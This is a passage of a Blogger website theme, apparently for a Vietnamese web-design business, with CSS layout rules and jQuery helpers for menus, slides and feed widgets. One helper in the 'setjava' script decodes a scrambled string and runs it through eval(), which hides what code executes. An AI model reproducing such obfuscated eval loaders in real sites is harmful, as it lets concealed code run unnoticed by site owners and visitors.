<b:widget-setting name='text-0'>Địa chỉ:</b:widget-setting>
<b:widget-setting name='link-0'> 39 Hai Bà Trưng-Hà Nội</b:widget-setting>
</b:widget-settings>
<b:includable id='main'>
<b:if cond='data:title != ""'><h2><data:title/></h2></b:if>
<div class='widget-content'>
<ul>
<b:loop values='data:links' var='link'>
<li><a expr:href='data:link.target'><data:link.name/></a></li>
</b:loop>
</ul>
<b:include name='quickedit'/>
</div>
</b:includable>
</b:widget>
<b:widget id='LinkList4' locked='true' title='Hỗ trợ trực tuyến' type='LinkList'>
<b:widget-settings>
<b:widget-setting name='sorting'>NONE</b:widget-setting>
<b:widget-setting name='text-0'>Văn phòng chính:</b:widget-setting>
<b:widget-setting name='link-0'> 39 Hai Bà Trưng-Hà Nội</b:widget-setting>
</b:widget-settings>
<b:includable id='main'>
<b:if cond='data:title != ""'><h2><data:title/></h2></b:if>
<div class='widget-content'>
<ul>
<b:loop values='data:links' var='link'>
<li><a expr:href='data:link.target'><data:link.name/></a></li>
</b:loop>
</ul>
<b:include name='quickedit'/>
</div>
</b:includable>
</b:widget>
<b:widget id='LinkList6' locked='true' title='Dịch vụ thiết kế website' type='LinkList'>
<b:widget-settings>
<b:widget-setting name='sorting'>NONE</b:widget-setting>
<b:widget-setting name='text-1'>Phục vụ quý khách 24/7</b:widget-setting>
<b:widget-setting name='link-1'>.</b:widget-setting>
<b:widget-setting name='text-0'>Bảo hành miễn phí trên toàn quốc</b:widget-setting>
<b:widget-setting name='link-0'>.</b:widget-setting>
</b:widget-settings>
<b:includable id='main'>
<b:if cond='data:title != ""'><h2><data:title/></h2></b:if>
<div class='widget-content'>
<ul>
<b:loop values='data:links' var='link'>
<li><a expr:href='data:link.target'><data:link.name/></a></li>
</b:loop>
</ul>
<b:include name='quickedit'/>
</div>
</b:includable>
</b:widget>
</b:section>
</div>
</div>
<script>
Jrun();
</script>
</body>
</html>
<!DOCTYPE html>
<html b:css='true' b:defaultwidgetversion='1' b:js='truee' b:layoutsVersion='2' b:responsive='true' b:templateUrl='indie.xml' b:templateVersion='1.3.0' expr:dir='data:blog.languageDirection' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/gml/b' xmlns:data='http://www.google.com/2005/gml/data' xmlns:expr='http://www.google.com/2005/gml/expr'>
<head>
<meta content='width=device-width, initial-scale=1' name='viewport'/>
<meta content='text/html; charset=UTF-8' http-equiv='Content-Type'/>
<meta content='blogger' name='generator'/>
<link expr:href='data:blog.homepageUrl + "favicon.ico"' id='icon' rel='icon' type='image/x-icon'/>
<link expr:href='data:blog.url' rel='canonical'/>
<link expr:href='data:blog.homepageUrl + "feeds/posts/default"' expr:title='data:blog.title + " - Atom"' rel='alternate' type='application/atom+xml'/>
<link expr:href='data:blog.homepageUrl + "feeds/posts/default?alt=rss"' expr:title='data:blog.title + " - RSS"' rel='alternate' type='application/rss+xml'/>
<link expr:href='"http://www.blogger.com/feeds/" + data:blog.blogId + "/posts/default"' expr:title='data:blog.title + " - Atom"' rel='alternate' type='application/atom+xml'/>
<link href='http://www.blogger.com/openid-server.g' rel='openid.server'/>
<link expr:href='data:blog.homepageUrl' rel='openid.delegate'/>
<b:if cond='data:blog.pageType == "item"'>
<b:if cond='data:blog.postImageThumbnailUrl'>
<link expr:href='data:blog.postImageThumbnailUrl' rel='image_src'/>
</b:if>
<b:if cond='data:blog.metaDescription != ""'>
<meta expr:content='data:blog.metaDescription' name='description'/>
<b:else/>
<meta expr:content='data:blog.pageName + " - " + data:blog.title' name='description'/>
</b:if>
</b:if>
<meta content='width=device-width, initial-scale=1' name='viewport'/>
<link href='https://maxcdn.bootstrapcdn.com/bootstrap/3.4.0/css/bootstrap.min.css' rel='stylesheet'/>
<script src='https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js'/>
<script src='https://maxcdn.bootstrapcdn.com/bootstrap/3.4.0/js/bootstrap.min.js'/>
<script src='https://cdnjs.cloudflare.com/ajax/libs/jquery-cookie/1.4.1/jquery.cookie.js'/>
<link href='https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css' rel='stylesheet'/>
<style>
.col, .col-1, .col-10, .col-11, .col-12, .col-2, .col-3, .col-4, .col-5, .col-6, .col-7, .col-8, .col-9, .col-auto, .col-lg, .col-xl, .col-xl-1, .col-xl-10, .col-xl-11, .col-xl-12, .col-xl-2, .col-xl-3, .col-xl-4, .col-xl-5, .col-xl-6, .col-xl-7, .col-xl-8, .col-xl-9,.col-lg-1, .col-lg-10, .col-lg-11, .col-lg-12, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-md-1, .col-md-10, .col-md-11, .col-md-12, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-sm-1, .col-sm-10, .col-sm-11, .col-sm-12, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-xs-1, .col-xs-10, .col-xs-11, .col-xs-12, .col-xs-2, .col-xs-3, .col-xs-4, .col-xs-5, .col-xs-6, .col-xs-7, .col-xs-8, .col-xs-9, .col-xl-auto,.section,.widget {float: left;padding: 0px;margin:0px;}.container-fluid,.row{float: none;padding: 0px;margin:0px;}
.col-1{width:8.33%;}.col-2{width:16.66%;}.col-3{width:25%;}.col-4{width:33.33%;}.col-5{width:41.66%;}.col-6{width:50%;}.col-7{width:58.33%;}.col-8{width:66.66%;}.col-9{width:75%;}.col-10{width:83.33%;}.col-11{width:91.66%;}.col-12{width:100%;}
.clear {
clear: both;
}
.full{max-width:100%!important;}
</style>
<style id='style'>
/*fix
----------------*/
.padding-0{padding:0px!important}
.margin-0{margin:0px!important}
.widget-item-control {
margin-top: 0px;
position: absolute;
}
#slide .Image {
display: none;
}
.widget, .section {
padding: 0px;
margin: 0px;
}
.widget>h2 {
background: #c8135c;
color: #ffffff;
padding: 6px;
margin: 0px;
border-radius: 5px;
}
.post-title {
padding: 0px;
margin: 0px;
}
.post-thumb {
max-height: 200px;
padding: 10px;
min-width: 80px;
}
/*all
--------------------------*/
body {
background: #0d7aa7;
}
div#all {
background: #ffffff;
}
#main, #main>div {
width: 100%;
padding: 5px;
}
@media (min-width: 768px){
div#all {
padding: 0px;
margin: auto;
float: none;
min-width: 900px;
max-width: 1100px;
}
}
@media (max-width: 768px){
div#all {
width: 100%;
padding: 0px;
margin: auto;
float: none;
}
}
/*defined css head banner img
-----------------------------------*/
.head-banner-img-bg {
padding: 0px;
margin: 0px;
width: 100%;
max-height: 150px;
}
@media (max-width: 768px){
.head-banner-img-bg {
padding: 0px;
margin: 0px;
width: 100%;
max-height: 50px;
}
}
/*define head xs title
----------------------------*/
#head {
background: #8dd9e636;
}
.head-banner-img-xs-logo {
min-height: 50px;
max-height: 65px;
padding: 10px;
}
.head-title-xs {
padding: 0px;
margin: 0px;
color: #337ab7;
font-size: 25px;
}
.head-xs-address {
color: #337ab7;
font-size: 16px;
padding: 10px 0px 5px 10px;
font-size: 20px;
font-weight: 600;
}
.head-address-xs {
color: #337ab7;
padding: 0px 0px 0px 20px;
margin: 0px;
}
.head-banner-md {
padding: 0px 0px 10px 10px;
}
.head-banner-md-logo-title {
color: #337ab7;
text-transform: uppercase;
font-weight: 700;
padding: 5px;
margin: 0px;
}
.head-banner-md-slogan-title-1 {
text-align: center;
}
.head-banner-md-logo-address {
color: #337ab7;
margin: 10px 0px 10px 15px;
}
.head-banner-md-logo-img {
padding: 0px 15px 15px 15px!important;
margin-bottom: -10px;
}
.head-banner-logo-mobile {
color: #337ab7;
font-size: 25px;
font-weight: 700;
padding: 20px 0px 0px 20px!important;
}
.head-banner-md-slogan {
position: absolute;
right: 15%;
top: 8%;
color: #337ab7;
}
.head-banner-md-slogan-title-2 {
text-align: center;
}
/*navbar
--------------------------------*/
#Navbar {
background: #c8135c;
}
#Navbar .widget-content ul>li {
display: inline-block;
padding: 14px;
background: #c8135c;
margin: 0px;
}
#Navbar ul>li a {
color: #fff;
}
.navbar {
margin: 0px;border: none;
}
.navbar-button {
background:transparent ;
margin-top: 8px;
margin-bottom: 8px;
float: right;
height: 30px;
width: 40px;
border: 1px solid transparent;
border-color: #fff;
border-radius: 5px;
z-index: 99999999999999;
}
.navbar-button span.icon-bar {
float: left;
width: 100%;
margin-top: 3px;
margin-bottom: 3px;
height: 2px;
border-radius: 1px;
background: #fff;
}
.navbar-ul {
margin: 0px;padding:0px;
background: #c8135c;
position: inherit;
}
.navbar-ul li {padding: 5px;
list-style: none;
display: inline-block;
}
.navbar-ul li:hover {
background: #ab0d4d;
}
.navbar-ul li >a {
padding: 10px 15px 10px 15px;
display: block;
text-transform: capitalize;
color: #ffffff;
font-weight: 700;
text-decoration: none;
}
@media (max-width: 768px){
.navbar-xs{
height: auto!important;
}
.navbar-xs,.navbar-ul-xs{
background:#c8135c;
}
.navbar-div-button{
padding: 0px;
margin: 0px 0px -1px 0px;
border-bottom: #ffffff 1px solid;z-index:99999999;}
.navbar-ul li {
list-style: none;
display: block!important;
color: #fff;
}
.navbar-ul li {
list-style: none;
display: inline-block;
}
.navbar-ul li >a {
padding: 10px 15px 10px 15px;
display: block;
text-transform: uppercase;
font-weight: 700;
color: #fff;
}
}
input#s { width: 150px; color: #1e63a3; } button.btn.btn-default { padding: 2px; margin: 0px; }
@media (min-width: 768px){
form#searchform {
position: absolute;
right: 8px;
top: 0px;
padding: 5px;
}
}
/*breadcumb
------------------*/
.breadcrumbs {
padding:5px 5px 5px 0px;
margin: 0px 0px 15px 0px;
font-size:95%;
line-height: 1.4em;
border-bottom:3px double #4d90fe;
}
/*pager*/
#blog-pager{clear:both;margin:30px auto;text-align:center; padding: 7px;}
.blog-pager {background: none;}
.displaypageNum a,.showpage a,.pagecurrent{font-size: 14px;padding: 5px 12px;margin-right:5px; color: #666; background-color:#eee;}
.displaypageNum a:hover,.showpage a:hover, .pagecurrent{background:#359BED;text-decoration:none;color: #fff;}
#blog-pager .pagecurrent{font-weight:bold;color: #fff;background:#359BED;}
.showpageOf{display:none!important}
#blog-pager .pages{border:none;}
/*navbar foot
-----------------------------*/
div#foot {
background: #e7f7fa;
width: 100%;
min-height: 120px;
}
#foot li {
list-style: none;
}
.foot-navbar {
background: #c8135c;
margin: auto;
padding: 0px 15% 0px 15%;
text-align: center;
}
.foot-navbar li {
display: inline;
}
.foot-navbar li a {
display: inline-block;
color: #ffffff;
padding: 10px;
text-decoration: none;
}
.foot-widget-title {
font-size: 14px;
font-weight: 600;
padding: 0px;
margin: 10px 40px;
background: transparent;
color: #23527c;
}
.ul-foot *{color: #23527c;}
/*defined blog-mobile-call
--------------------------------*/
#blog-mobile-call{
z-index: 999999;
position: fixed;
text-decoration: none;
bottom: 5px;
right: 10px;
padding: 6px 20px;
border-radius: 10px;
font-size: 28px;
font-weight: 800;
background: #c8135c;
}
#blog-mobile-call a{
color: #ffffff;
text-decoration: none;}
#PopularPosts1 li {
list-style: none;
}
/*slide define
-------------------------*/
.carousel-inner .widget-item-control {
right: 0px;
}
@media (min-width: 768px){
#slide .item, #slide .item >a >img {
width: 100%;
height: 350px;
}
}
@media (max-width: 768px){
#slide .item, #slide .item >a >img {
width: 100%;
height: 250px;
}
}
.slide-title {
margin: 0px;
position: absolute;
bottom: 0px;
padding: 10px 0 10px 0;
background: rgba(0, 0, 0, 0.52);
display: block;
width: 100%;
font-size: 30px;
color: aliceblue;
text-transform: uppercase;
font-weight: 500;
}
/*postmulti
----------*/
.postmulti {
/* height: 220px; */
/* border: 1px solid #4d90fe45; */
margin: 10px;
border-radius: 10px;
overflow: hidden;
box-shadow: 0 1px 3px 0 rgba(0, 0, 0, 0.2), 0 5px 10px 0 rgba(0, 0, 0, 0.19);
}
.post-thumb {
max-height: 150px;
padding: 10px;
margin: 10px;
min-width: 80px;
width: 90%;
box-shadow: 0 1px 3px 0 rgba(0, 0, 0, 0.2), 0 5px 10px 0 rgba(0, 0, 0, 0.19);
}
.postmulti .post-title {
background: #f1f1f159;
padding: 5px 5px 5px 25px!important;
}
/*top right menu
----------------------*/
div#right-top .widget {
width: 100%;
padding: 0px 0px 20px 0px;
margin: 0px;
background: #d4f1f6;
}
div#right-top .widget ul {
padding: 0px;
}
div#right-top .widget li {
display: block;
padding: 0px;
margin: 0px;
border-bottom: 1px solid #c8135c;
}
div#right-top .widget li a {
padding: 12px;
display: block;
background: #d4f1f6;
text-decoration: none;
}
div#right-top .widget li:hover a {
background: #337ab72e;
}
/*-----------------
thumb relater*/
.relater-title {
background: #c8135c;
padding: 8px;
text-align: center;
color: white;
}
.homeTab-0-post-thumb {
height: 200px;
max-height: 200px;
}
.hometab-title {
background: #c8135c;
color: #ffffff;
padding: 8px;margin:0px;
text-transform: capitalize;
}
@media (max-width: 768px){
.homeTab-xs {
border: 1px solid #4d90fe45;
margin: 10px;
border-radius: 10px;
padding: 10px;
overflow: hidden;
box-shadow: 0 1px 3px 0 rgba(0, 0, 0, 0.2), 0 5px 10px 0 rgba(0, 0, 0, 0.19);
}
}
</style>
<script id='setjava'>
<b:if cond='data:view.isPost'>jQuery.type='post';jQuery.postId='<data.blog.postId/>'</b:if>
jQuery.JblogId='<data:blog.blogId/>';
//<![CDATA[
function e(e1){var e={k:'elgoog',p:'a',e:0,v:0};if("object"!=typeof e1)e.p=e1;else for(i in e1)e[i]=e1[i];function d(a){var b=[];for(i in a=a.split(""),a)b[i]=a[a.length-1-i];return b.join().replace(/,/g,"")}function c(a){var b="";if(a=a.split(""),0==(2+a.length)%2)for(i=0;i<a.length/2;i++)b+=a[a.length-1-i]+a[i];else for(i=0;i<a.length/2;i++)b+=a.length-1-i==i?a[i]:a[a.length-1-i]+a[i];return b}function C(a){var b="",c="";if(a=a.split(""),0==(2+a.length)%2)for(i=0;i<a.length;i++)0==i%2?c=a[i]+c:b+=a[i];else for(i=0;i<a.length;i++)a.length-1-i==i?b+=a[i]:0==i%2?c=a[i]+c:b+=a[i];return b+c}function de(){var a=c(d(e.k+e.p));return a}function un(){var a=d(C(e.p)),b=new RegExp(e.k,"g");return a.replace(b,"")}return e.e!=1?(e.v!=1?eval(un()):un()):de()}
jQuery.Jlogo='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPtL5E1EpGM3IadQqhSRxXdMQyzmShAYh4EjbeABsB-By3hJAH2RE6SOnCgm5t-z8gdmbYluJN8iGldqxUjTe4ma0v68Gm7YL2_WA6vl9AARP-E3hEShvHdPnTtvyCdO-3aiNHGtu_6Eo/h500/t%25E1%25BA%25A3i+xu%25E1%25BB%2591ng.png';
jQuery.JsetIcon=function(){$('[id=icon]').attr('href',$.Jlogo);return jQuery}
jQuery.JmobileCv=function(e){var cache='';var xC='';if(e)xC=e;return xC.substr(0,4)+'.'+xC.substr(4,3)+'.'+xC.substr(7,10);}
jQuery.JpostActive=false;
jQuery.Jurl='';
jQuery.Jlabel='';
jQuery.JlabelRelater='';
jQuery.Jstart=1;
jQuery.Jend=3000;
jQuery.JtypeJson='';
jQuery.JtypeHtml='';
jQuery.JtitleWidget='';
jQuery.JhomeTabLabel='';
jQuery.JtypeWidget='Jdefault';
jQuery.Jdiv='div';
jQuery.JidDiv='';
jQuery.Jfunc=function(root){
var c='';
if($.JtypeWidget!=''){if(typeof $[$.JtypeWidget]==='function')c=$[$.JtypeWidget](root)};
return c}
jQuery.Jset=function(a){if("object"==typeof a)for(i in a)jQuery[i]=a[i];return jQuery};
jQuery.JgetUrl=function(a){var b="";if(!a)var a=jQuery;return a&&(!a.Jurl&&(a.Jurl=""),b=a.Jurl,b+=a.JtypeJson==''?"/feeds/posts/default":"/feeds/posts/summary",a.Jlabel&&(b+="/-/"+a.Jlabel),b+="?alt=json-in-script",a.Jstart&&(b+="&start-index="+a.Jstart),a.Jend&&(b+="&max-results="+a.Jend)),a.JpostActive!=false?'https://www.blogger.com/feeds/'+a.JblogId+'/posts/default/'+a.JpostId+'?alt=json-in-script':b};
$.div=function(a,b){var c="";if(!b)c=a;else if(typeof b.div!=undefined){for(i in c="<"+b.div,b)"div"!=i&&(c+=" "+i+"=\""+b[i]+"\" ");c+=">"+a+"</"+b.div+">"}return c};
jQuery.fn.Jchoice=function(a,b){if(!b)var b="";if(a!=undefined)switch(b){case"append":{$(this).append(a);break}case"before":{$(this).before(a);break}case"prepend":{$(this).prepend(a);break}case"remove":{$(this).remove();break}case"hide":{$(this).hide();break}case"show":{$(this).show();break}default:{$(this).html(a);break}}return jQuery};
Json=function(htmlId,o,e1){
if(htmlId)var e=htmlId;$.Jset(o);
$.ajax({
url:$.JgetUrl(),
type:'get',dataType:'jsonp',
success:function(root){$.Jset(o);
e1?e1(root):e.Jchoice($.Jfunc(root),$.JtypeHtml);
}
});
}
jQuery.fn.Json=function(o,e1){
var e=$(this);if(typeof o!='object')var o={};e1?new Json(e,o,e1):new Json(e,o,e1);
return $(this)}
jQuery.fn.JinfoSet=function(){
var c=''; return c+="<div class=\"widget-item-control section-widget-item-control\" style=\"z-index:9999999999; margin-left: 25px; width: 20px; overflow: hidden;\"><div class=\"set item-control blog-admin\" style=\" z-index: 9999999999;\"><div class=\"\">",c+="<a data-toggle=\"tooltip\" title=\"section "+$(this).attr("id")+"\" style=\"color: red;\" href=\"https://www.blogger.com/choose-gadget?blogID=",$.JblogId&&(c+=$.JblogId),c+="&action=chooseWidget§ionId="+$(this).attr("id")+"&widgetType=nullid\" target=\"_blank\"><i class=\"fa fa-plus\"></i></a>",c+="</div></div></div>";
}
jQuery.Jab=function(x,y){''
this.a='';this.b='';if(x)this.a=x;if(y)this.b=y;
return this;}
jQuery.Jitem=function(e){
this.id='';this.idHtml;this.arr={};this.type='';this.title='';this.url='';this.src='';this.content='';this.set='';
return this;}
jQuery.JfixImg=function(x){var c='';if(x)c=x.toString();var cRegEpr=new RegExp('['+'1'+'-'+'9'+']'+'.'+'b'+'p'+'.'+'b'+'l'+'o'+'g'+'s'+'p'+'o'+'t'+'.'+'c'+'o'+'m','g');return c.replace(cRegEpr,'l'+'h'+'4'+'.'+'g'+'o'+'o'+'g'+'l'+'e'+'u'+'s'+'e'+'r'+'c'+'o'+'n'+'t'+'e'+'n'+'t'+'.'+'c'+'o'+'m');}
jQuery.Jfix=function(){
var e=$('img');
e.each(function(index, element) {
$(element).attr('src',$.JfixImg($(element).attr('src')));
if($(element).attr('src')=='')$(element).attr('src',$.Jlogo);
});
var e=$('a');
e.each(function(index, element) {
$(element).attr('href',$.JfixImg($(element).attr('href')));
});
}
jQuery.fn.Jimage=function(){
var e=new jQuery.Jitem();
if($(this).attr('id'))e.idHtml=$(this).attr('id');
if($(this).find('h2').html()){e.title=$(this).find('h2').html();}else{if($(this).find('.title').html()){e.title=$(this).find('.title').html();}}
if($(this).find('.widget-content a').attr('href')){e.url=$(this).find('.widget-content a').attr('href')}
if($(this).find('.widget-content a img').attr('src')){e.src=$.JfixImg($(this).find('.widget-content a img').attr('src'))}else{e.src=$.JfixImg($(this).find('.widget-content img').attr('src'))}
if($(this).find('.widget-content .caption').html()){e.content=$(this).find('.widget-content .caption').html();}
if($(this).find('.widget-item-control').html())e.set='<div class="widget-item-control">'+$(this).find('.widget-item-control').html()+'</div>';
//$(this).remove();
return e;}
jQuery.fn.JlinkList=function(){
var e=new jQuery.Jitem();
if($(this).attr('id'))e.idHtml=$(this).attr('id');
if($(this).find('h2').html()){e.title=$(this).find('h2').html();}else{if($(this).find('.title').html()){e.title=$(this).find('.title').html();}}
if($(this).find('.widget-item-control').html())e.set='<div class="widget-item-control">'+$(this).find('.widget-item-control').html()+'</div>';
var c=$(this).find('ul>li>a');
var i=0;
c.each(function(index, element) {
if($(element).html() && $(element).attr('href')){e.arr[i]=new $.Jab($(element).html(),$(element).attr('href'));i++}
});
//$(this).remove();
return e;}
jQuery.fn.Jnavbar=function(e){
var e1=new $(this).JlinkList();
var c=e1.arr;
this.Default=function(e2){
var cl='';if(e2)cl=e2;
var ul='<div class="navbar navbar-xs col-md-12 col-lg-12 col-sm-12 col-xs-12" ><div class="col-md-12 col-lg-12 col-xs-12 visible-xs navbar-div-button" ><a class="navbar-a-home" href="/" style="float: left; color: #fff; font-weight: 500; padding: 10px; font-size: 20px; text-decoration: none;">Trang chủ</a><button class="navbar-button" type="button"><span class="icon-bar"></span><span class="icon-bar"></span><span class="icon-bar"></span></button></div><div class="clear"></div><ul class="navbar-ul navbar-ul-xs visible-md visible-lg visible-sm '+cl+'">';
for(i in c){
ul+='<li><a href="'+c[i].b+'">'+c[i].a+'</a></li>';
}
ul+=e1.set;
ul+='<form action="/search" class="navbar-form navbar-left" id="searchform" method="get"> <input id="s" name="q" onblur="if (this.value == "") {this.value = "Search";}" onfocus="if (this.value == "Search") {this.value = "";}" type="text" value="Search"> <button class="btn btn-default" type="submit">Tìm kiếm</button> </form></ul></div>';
return ul;}
return this}
jQuery.fn.JimageSlide=function(e){
var e1=new $(this).Jimage();
this.Default=function(e2){
var e3='';var e4=0;if(e2){if(e2==0){e5='active';}else{var e5=''}}else{var e5='active';};
e3+='<div class="item '+e5+'"><a href="'+e1.url+'"><img class="slide-img col-12" src="'+e1.src+'"/></a><h3 class="slide-title">'+e1.title+'</h3>'+e1.set+'</div>';
return e3}
return this;}
jQuery.Jslide={set:'',content:''}
jQuery.fn.JinfoSlide=function(e1){
var e1=$(this).find('.Image');
var e3='<div class="carousel slide col-md-12 col-xs-12" data-ride="carousel" id="slide" ><div class="carousel-inner xs-hide" role="listbox">';
e1.each(function(index,element){
e3+=new $(element).JimageSlide().Default(index);
});
e3+='</div></div><div class="clear"/>';
$.Jslide.content=e1.length>0?e3:'';
$.Jslide.set=$(this).JinfoSet();
return $(this)}
jQuery.fn.Jfoot=function(){
var e1=new $(this).JlinkList();
var c=e1.arr;
this.Default=function(e2){
var cl='';if(e2)cl=e2;
var ul='<ul class="foot-navbar col-12 hidden-xs">';
for(i in c){
ul+='<li><a href="'+c[i].b+'">'+c[i].a+'</a></li>';
}
ul+=e1.set;
ul+='</ul>';
$(this).addClass('col-12 xs-hidden');
$(this).html(ul);
return ul;}
return this;}
jQuery.fn.JinfoLinkListFoot=function(){
var e1=$(this).find('.LinkList');
var c='';
e1.each(function(index, element) {
var e2=$(element).JlinkList();
var c1='<div class="widget-1 col-lg-4 col-md-4 col-sm-4 col-xs-12">';
c1+='<h3 class="foot-widget-title">'+e2.title+'</h3><ul class="ul-foot" style="">';
for(i in e2.arr){
c1+='<li><span class="li-text">'+e2.arr[i].a+'</span><span class="li-value">'+e2.arr[i].b+'</span></li>';
}
c1+='</ul>'+e2.set+'</div>';
c=c+c1;
c1='';
e2=new Object();
});
jQuery.Jfoot.content=c;
return $(this)}
jQuery.fn.JinfoLogo=function(e){
var x=new $(this).Jimage();
jQuery.Jhead.mobile=x.title;
jQuery.Jhead.logo=x.src;
jQuery.Jhead.address=x.url;
jQuery.Jhead.title=x.content;
jQuery.Jhead.setLogo=x.set;
if($.Jhead.activeLogo==true)$.Jlogo=x.src;
return $(this)}
jQuery.fn.JinfoSlogan=function(e){
var x=new $(this).Jimage();
jQuery.Jhead.headBg=x.src;
jQuery.Jhead.title1=x.title;
jQuery.Jhead.title2=x.content;
jQuery.Jhead.title3=x.url;
jQuery.Jhead.setSlogan=x.set;
return $(this)}
jQuery.fn.JinfoNavbar=function(){
var e=new $(this).JlinkList();
jQuery.Jnavbar.set=e.set;jQuery.Jnavbar.arr=e.arr;
return $(this)}
jQuery.Jnavbar={arr:new Object(),set:'',
Default:function(e2){
ld:!function(e){$(e).ready(function(){$.Jfix(); $('.navbar-button').click(function(){if($('.navbar-ul').hasClass('visible-xs')){$('.navbar-ul').removeClass('visible-xs');}else{$('.navbar-ul').addClass('visible-xs');}})
$('.navbar a').click(function(){if($('.navbar-ul').hasClass('visible-xs')){$('.navbar-ul').removeClass('visible-xs');}else{$('.navbar-ul').addClass('visible-xs');}})
})}(document)
var cl='';if(e2)cl=e2;var c=this.arr;
var ul='<div class="navbar navbar-xs col-md-12 col-lg-12 col-sm-12 col-xs-12" ><div class="col-md-12 col-lg-12 col-xs-12 visible-xs navbar-div-button" ><a class="navbar-a-home" href="/" style="float: left; color: #fff; font-weight: 500; padding: 10px; font-size: 20px; text-decoration: none;">Trang chủ</a><button class="navbar-button" type="button"><span class="icon-bar"></span><span class="icon-bar"></span><span class="icon-bar"></span></button></div><div class="clear"></div><ul class="navbar-ul navbar-ul-xs visible-md visible-lg visible-sm '+cl+'">';
for(i in c){
ul+='<li><a href="'+c[i].b+'">'+c[i].a+'</a></li>';
}
ul+=this.set;
ul+='<form action="/search" class="navbar-form navbar-left" id="searchform" method="get"> <input id="s" name="q" onblur="if (this.value == "") {this.value = "Search";}" onfocus="if (this.value == "Search") {this.value = "";}" type="text" value="Search"> <button class="btn btn-default" type="submit">Tìm kiếm</button> </form></ul></div>';
return ul;}
};
jQuery.fn.JinfoMenuFoot=function(){
var e=new $(this).JlinkList();
jQuery.Jfoot.set=e.set;jQuery.Jfoot.arr=e.arr;
return $(this)}
jQuery.Jfoot={arr:new Object(),set:'',content:'',
menu:function(e){
var cl='';if(e)cl=e;var c=this.arr;
var ul='<ul class="foot-navbar col-12 hidden-xs">';
for(i in c){
ul+='<li><a href="'+c[i].b+'">'+c[i].a+'</a></li>';
}
ul+=this.set;
ul+='</ul>';return ul}
};
jQuery.Jhead={mobile:'',logo:'',activeLogo:true,address:'',title:'',setLogo:'',headBg:'',title1:'',title2:'',title3:'',setSlogan:'',activeBg:false,navbarArr:new Object(),call:function(){return this.mobile!=''?'<div id="blog-mobile-call"><a class="mobile" href="tel:'+this.mobile+'"><i class="cskh-buttom glyphicon glyphicon-earphone"></i> '+$.JmobileCv(this.mobile)+'</a>'+this.setLogo+'</div>':''},valueSlogan:function(){return'<div class="head-banner-md-slogan"><h3 class="head-banner-md-slogan-title-1 ">'+this.title1+'</h3><h3 class="head-banner-md-slogan-title-2 ">'+this.title2+'</h3>'+this.setSlogan+'</div>';},
valXs:function(){var c='<div class="visible-xs padding-0"><div class="col-xs-3 padding-0"><img class="col-xs-12 head-banner-img-xs-logo" src="'+this.logo+'"/></div><div class="col-xs-9 padding-0"><h1 class="head-title-xs ">'+this.title+'</h1><h4 class="head-address-xs ">'+this.address+'</h4>';if(this.mobile!='')c+='<span class="head-xs-address"><i style=" " class="fa fa-phone"></i>'+$.JmobileCv(this.mobile)+'</span>';c+=this.setSlogan+'</div></div>';return c},Default:function(){
var e='<div id="head" class="col-lg-12 col-md-12 col-sm-12 col-xs-12 padding-0 head">';
//define banner default
e+='<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12 head-banner padding-0">';
if(this.activeBg==true){e+='<img src="'+this.headBg+'" class="col-lg-12 col-md-12 col-sm-12 hidden-xs head-banner-img-bg padding-0"/>';}else{
e+='<div class="hidden-xs head-banner-md">';
e+='<div class="head-banner-md-logo col-12 padding-0"><h1 class="col-12 head-banner-md-logo-title">'+this.title+'</h1><div class="col-2 head-banner-md-logo-div-img padding-0"><img class="col-12 head-banner-md-logo-img padding-0" src="'+this.logo+'"/></div><div class="col-6 head-banner-md-logo-div-address padding-0"><h3 class="col-12 head-banner-md-logo-address padding-0" >'+this.address+'</h3>';if(this.mobile!='')e+='<span class="padding-0 margin-0 head-banner-logo-mobile"><i style=" font-size: 32px;" class="fa fa-phone"></i> '+$.JmobileCv(this.mobile)+'</span>';e+=this.setLogo+'</div></div>';
e+=this.valueSlogan()+this.valXs();
e+='</div>';
}
e+=this.valXs()+'</div>'+this.call();
return e}
};
function item(d){
this.id='';this.index=0;
this.div='div';
this.class='';
this.chitiet='';
this.title='';
this.url='';
this.src='';
this.content='';
this.cate=new Object();
this.rss='';
this.plus='';
this.author='';
this.blogId='';
this.postId='';
this.setting='';
if(d!=undefined){
d.title.$t!=undefined?this.title=d.title.$t:this.text='';
if(d.summary.$t!=undefined){
d.summary!=undefined?this.content=d.summary.$t:this.content='';
}else{
d.content!=undefined?this.content=d.content.$t:this.content='';
}
if(d.link!=undefined){
var Clink=d.link;
for(indexLink in Clink){
if(Clink[indexLink].type=='text/html'){
this.url=Clink[indexLink ].href;
//break;
}
}
var Crss=d.link;
for(indexRss in Crss){
if(Crss[indexRss].type=='application/atom+xml'){
this.rss=Crss[indexRss].href;
//break;
}
}
}else{this.rss='';}
if(d.media$thumbnail!=undefined){
var thumbImg=d.media$thumbnail.url;
var thumbReg=RegExp('s72-c','g');
this.src=thumbImg.replace(thumbReg,'s600').replace(/[1-9].bp.blogspot.com/g,'lh4.googleusercontent.com');
}else{
this.src='';
if(jQuery.Jlogo)this.src=jQuery.Jlogo;
}
d.category!=undefined?this.cate=d.category:this.cate=[];
if(d.id.$t!=undefined){
this.blogId=d.id.$t.substring(6+d.id.$t.indexOf(':blog-'),d.id.$t.indexOf('.post-'));
this.postId=d.id.$t.substring(6+d.id.$t.indexOf('.post-'));
this.setting='<div class="widget-item-control"><div class="item-control blog-admin"><a href="https://draft.blogger.com/blogger.g?blogID='+this.blogId+'#editor/target=post;postID='+this.postId+'">edit</a></div></div>';
}
d.author[0].name.$t!=undefined?this.public=d.author[0].name.$t:this.public='';
d.author[0].uri.$t!=undefined?this.plus=d.author[0].uri.$t:this.plus='';
}
this.Jset=function(a,b){if(a&&b){this[a]=b;}else{if(typeof a=='object'){for(i in a){this[i]=a[i];}}}return this}
this.relater=function(){
var c='';
c+='<a class="'+this.class+'-a" href="'+this.url+'"><h3 class="col-12 '+this.class+'-post-title post-title">'+this.title+'</h3></a>';
c+='<div class="col-4"><img class="'+this.class+'-post-thumb post-thumb" src="'+this.src+'"/></div>';
